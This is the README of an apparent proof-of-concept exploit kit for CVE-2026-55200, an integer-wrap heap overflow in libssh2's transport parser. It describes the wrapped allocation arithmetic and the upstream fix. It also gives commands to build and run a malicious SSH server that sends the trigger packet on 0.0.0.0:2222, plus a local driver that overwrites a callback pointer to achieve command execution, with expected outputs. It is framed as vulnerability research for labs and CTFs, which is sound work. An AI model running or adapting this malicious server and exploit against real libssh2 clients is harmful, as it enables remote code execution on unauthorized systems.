Files
exploitarium/libssh2-cve-2026-55200-poc/README.md

6.3 KiB

libssh2 CVE-2026-55200 PoC and local RCE scaffold

This directory contains local research artifacts for CVE-2026-55200, an unchecked SSH packet_length condition in libssh2's ssh2_transport_read() transport parser path.

Research status: arithmetic verifier, encrypted SSH trigger scaffold, and controlled local RCE harness verified.

Summary

libssh2 through 1.11.1 accepted an attacker-controlled SSH packet length in one full-packet decryption path without first enforcing the RFC-sized libssh2 packet maximum.

The vulnerable source shape is:

total_num = 4
packet_length = decoded SSH packet_length field
reject only if packet_length < 1
total_num += packet_length + mac_len + auth_len
reject if total_num > 35000 or total_num == 0
allocate total_num bytes

With packet_length=0xffffffff, mac_len=0, and auth_len=16, the vulnerable C expression can produce allocation size 19:

packet_length + mac_len + auth_len == 15  modulo 2^32
4 + 15 == 19

The original packet_length remains 0xffffffff. Later full-packet processing can still use packet-length-derived sizes, including a packet_length - 1 style length, after the allocation decision has already been made.

The upstream fix rejects packet_length > LIBSSH2_PACKET_MAXPAYLOAD before the addition.

Files

  • poc/cve_2026_55200_probe.c - standalone C11 arithmetic verifier.
  • poc/libpwn_cve_2026_55200_server.py - minimal malicious SSH server/trigger scaffold.
  • poc/libpwn_local_rce_harness.c - controlled local vulnerable target modeling the wrapped allocation-to-control pattern.
  • poc/libpwn_local_rce_exploit.py - local exploit driver that overwrites the harness callback and creates an RCE proof file.
  • evidence/2026-06-23-local-harness-output.txt - earlier arithmetic verifier evidence.

Affected Source Path

The affected path is in:

src/transport.c:ssh2_transport_read()

The fix is upstream commit:

97acf3dfda80c91c3a8c9f2372546301d4a1a7a8

The relevant fix adds a packet_length > LIBSSH2_PACKET_MAXPAYLOAD guard before the vulnerable addition in the full-packet path.

Arithmetic Verifier

Linux, macOS, WSL, or MinGW:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c
./cve_2026_55200_probe

Windows PowerShell with MinGW:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
.\cve_2026_55200_probe.exe

Useful modes:

./cve_2026_55200_probe --benign
./cve_2026_55200_probe --native
./cve_2026_55200_probe --check
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16

Expected default proof condition:

vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS

Malicious SSH Trigger Scaffold

Local crypto and arithmetic self-test:

python poc/libpwn_cve_2026_55200_server.py --self-test

Loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted trigger:

python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

Run as a one-shot malicious server for a challenge client:

python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222

Change --listen-host and --listen-port for your lab or HTB instance. The top of the script also leaves:

HOST = ""
PORT = 0

intentionally open.

The server negotiates curve25519-sha256, RSA host key auth, and chacha20-poly1305@openssh.com, then sends a malformed encrypted server-to-client packet whose decrypted SSH packet_length is 0xffffffff.

Controlled Local RCE Harness

Build the local vulnerable target:

gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c

Windows PowerShell with MinGW:

gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c

Run the local exploit driver:

python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
cat poc/libpwn_rce_proof.txt

Windows PowerShell:

python poc\libpwn_local_rce_exploit.py
Get-Content poc\libpwn_rce_proof.txt

Expected proof:

RCE_PROOF=PASS
libpwn-rce-verified

The harness proves local command execution by overflowing from the modeled 19-byte allocation state into a callback pointer and creating libpwn_rce_proof.txt.

64-bit Note

A 64-bit Linux target is still plausible for this trigger. In the unpatched libssh2 source, the vulnerable branch computes packet_length + mac_len + auth_len from 32-bit/integer operands before adding that result into size_t, so 0xffffffff + 0 + 16 wraps to 15 and then 4 + 15 becomes allocation size 19.

Verification Status

Verified locally:

python poc\libpwn_cve_2026_55200_server.py --self-test
python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
python poc\libpwn_local_rce_exploit.py
python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py

Limits

libpwn_cve_2026_55200_server.py is a locally verified CVE trigger/scaffold. Turning it into a reliable challenge-specific flag-read/RCE chain still depends on the target binary, allocator behavior, mitigations, and how the challenge invokes libssh2.

libpwn_local_rce_harness.c is a controlled proof target, not a universal exploit for every libssh2 deployment. It demonstrates the exploit pattern that a CTF/HTB service still needs to match or be adapted to.

References

  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-55200
  • NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-55200
  • Upstream fix: https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
  • Upstream PR: https://github.com/libssh2/libssh2/pull/2052
  • VulnCheck advisory: https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c

Responsible Use

Run these PoCs only against local research targets, owned systems, or explicitly authorized lab/CTF/HTB instances.